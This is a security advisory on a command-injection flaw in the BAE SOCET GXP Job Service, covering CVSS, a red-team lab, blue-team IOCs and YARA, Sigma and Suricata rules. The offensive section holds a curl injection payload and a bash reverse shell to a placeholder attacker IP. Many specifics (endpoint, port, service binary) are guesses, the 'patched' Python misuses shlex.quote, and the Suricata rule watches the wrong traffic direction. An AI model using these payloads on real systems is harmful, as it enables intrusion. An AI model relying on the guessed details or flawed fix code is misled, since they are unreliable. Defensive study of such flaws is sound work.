CVE-2025-54964

Executive Summary

CVE-2025-54964 is a critical vulnerability in BAE SOCET GXP, a geospatial intelligence (GEOINT) software suite. The flaw resides in the GXP Job Service component, which is responsible for processing and executing various geospatial analysis tasks. An attacker with the ability to interact with the Job Service can inject arbitrary executables. This can lead to privilege escalation if the service is configured for local-only access, or remote command execution (RCE) if the service is exposed on a network. The vulnerability is unpatched in versions prior to 4.6.0.2, and no public proof-of-concept (PoC) or exploit code is currently available. The CVSS score is estimated at 9.8 (Critical) due to the potential for unauthenticated remote code execution.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary commercial software suite (BAE SOCET GXP). The risk is primarily to organizations that have deployed this software in their internal or external networks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all data on the system.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Total shutdown of the affected resource.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The GXP Job Service is a core component of BAE SOCET GXP that manages the execution of geospatial processing jobs. These jobs can involve complex algorithms, data transformations, and external tool invocations. The vulnerability stems from insufficient input validation and sanitization of job parameters or commands passed to the Job Service.

Root Cause: The Job Service likely uses a command-line interface or a scripting engine to execute tasks. An attacker can craft a malicious job request that includes operating system commands (e.g., shell commands) within the job parameters. The service fails to properly escape or validate these inputs, allowing the injected commands to be executed with the privileges of the Job Service process.

Attack Vector:

1. Discovery: An attacker identifies a GXP Job Service endpoint (e.g., via Shodan or internal network scanning).
2. Interaction: The attacker sends a crafted HTTP request or message to the Job Service, containing a job definition with malicious payloads.
3. Execution: The Job Service processes the request and executes the injected commands on the underlying operating system.
4. Impact: The attacker gains a foothold on the system, potentially escalating privileges or moving laterally within the network.

Privilege Escalation: If the Job Service is configured for local-only access (e.g., listening on 127.0.0.1), an attacker who already has local access to the machine can use this vulnerability to escalate from a low-privileged user to the service account (often SYSTEM or root).

Vulnerable vs. Patched Code

Since the software is proprietary, no source code diff is available. However, based on the vulnerability description, the patched version (4.6.0.2) likely includes:

• Input Sanitization: Strict validation and sanitization of all job parameters to prevent command injection.
• Parameterized Execution: Use of safe APIs that separate commands from data, such as subprocess.run with a list of arguments instead of a shell string.
• Least Privilege: The Job Service process may be configured to run with reduced privileges.
• Network Binding: The service may be restricted to localhost by default in the patched version.

Vulnerable Code (Conceptual):

# Vulnerable: Directly passes user input to shell
import subprocess
def execute_job(job_data):
    command = f"process_geotiff {job_data['input_file']} {job_data['output_file']}"
    subprocess.run(command, shell=True)

Patched Code (Conceptual):

# Patched: Uses parameterized execution and input validation
import subprocess
import shlex
def execute_job(job_data):
    input_file = shlex.quote(job_data['input_file'])
    output_file = shlex.quote(job_data['output_file'])
    command = ["process_geotiff", input_file, output_file]
    subprocess.run(command, shell=False)

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: A virtual machine running Windows Server 2019 or Linux (depending on the GXP deployment).
2. Software: Install BAE SOCET GXP version 4.5.0 (vulnerable).
3. Configuration: Ensure the GXP Job Service is running and accessible on the network (e.g., port 8080).

Exploitation Steps:

1. Reconnaissance: Scan the target for the GXP Job Service endpoint.

   nmap -p 8080 --script http-title <target_ip>
   

2. Craft Payload: Create a malicious job request. The exact format depends on the service's API. A generic example using curl:

   curl -X POST http://<target_ip>:8080/job/submit \
     -H "Content-Type: application/json" \
     -d '{
       "job_type": "geotiff_convert",
       "parameters": {
         "input_file": "/path/to/file",
         "output_file": "/path/to/output; cmd.exe /c whoami > C:\temp\pwned.txt"
       }
     }'
   

3. Execute: Send the request. The injected command (whoami) will be executed on the server.
4. Verify: Check the output file or use a reverse shell payload for interactive access.

   # Reverse shell payload (Linux target)
   "output_file": "/dev/null; bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"
   

Blue Team (Defensive)

Detection & Response:

1. Monitor Job Service Logs: Look for unusual job submissions with suspicious parameters (e.g., semicolons, pipes, command keywords).
2. Network Traffic Analysis: Detect anomalous outbound connections from the GXP server (e.g., reverse shells).
3. Process Monitoring: Alert on unexpected child processes spawned by the Job Service (e.g., cmd.exe, bash, powershell).
4. File Integrity Monitoring: Monitor for new files created in sensitive directories (e.g., C:\temp, /tmp).

Mitigation Steps:

1. Immediate: Isolate the GXP server from the network if possible.
2. Short-term: Apply the vendor patch (upgrade to 4.6.0.2).
3. Long-term: Implement network segmentation, restrict access to the Job Service, and enforce least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual HTTP POST requests to /job/submit or similar endpoints.
  • Outbound connections from the GXP server to unknown IP addresses on common ports (4444, 8080, 1337).
  • DNS queries to domains associated with C2 infrastructure.
• File IOCs:
  • Unexpected files in C:\temp, /tmp, or the GXP installation directory.
  • New executables or scripts (e.g., malware.exe, shell.ps1).
• Process IOCs:
  • Child processes of the GXP Job Service (e.g., cmd.exe, powershell.exe, bash, python).
  • Processes with suspicious command-line arguments (e.g., -enc, -c, whoami).
• Log IOCs:
  • Event ID 4688 (Windows) showing new process creation by the GXP service account.
  • Syslog entries with error messages related to command execution.

Detection Engineering

YARA Rule

rule CVE_2025_54964_GXP_Job_Service_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-54964 in BAE SOCET GXP Job Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54964"
        severity = "critical"
    strings:
        $s1 = "job/submit" ascii wide nocase
        $s2 = "job_type" ascii wide nocase
        $s3 = "parameters" ascii wide nocase
        $s4 = "cmd.exe" ascii wide nocase
        $s5 = "powershell" ascii wide nocase
        $s6 = "bash" ascii wide nocase
        $s7 = "/dev/tcp/" ascii wide nocase
        $s8 = "whoami" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2025-54964 - GXP Job Service Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts against BAE SOCET GXP Job Service
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54964
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\GXPJobService.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative tasks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54964 - GXP Job Service Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/job/submit"; http_uri; content:"cmd.exe"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Upgrade to BAE SOCET GXP version 4.6.0.2 or later immediately.
2. Workaround: If patching is not possible, restrict network access to the GXP Job Service to trusted hosts only. Use a firewall to block external access to the service port.
3. Configuration: Ensure the Job Service is configured to listen only on localhost (127.0.0.1) if remote access is not required.
4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
5. Least Privilege: Run the GXP Job Service with the minimum necessary privileges. Avoid using highly privileged accounts (e.g., SYSTEM, root).
6. Input Validation: If custom integrations are used, ensure all inputs to the Job Service are properly sanitized and validated.

Valters IT
DevSecOps & Cyber Threat Intelligence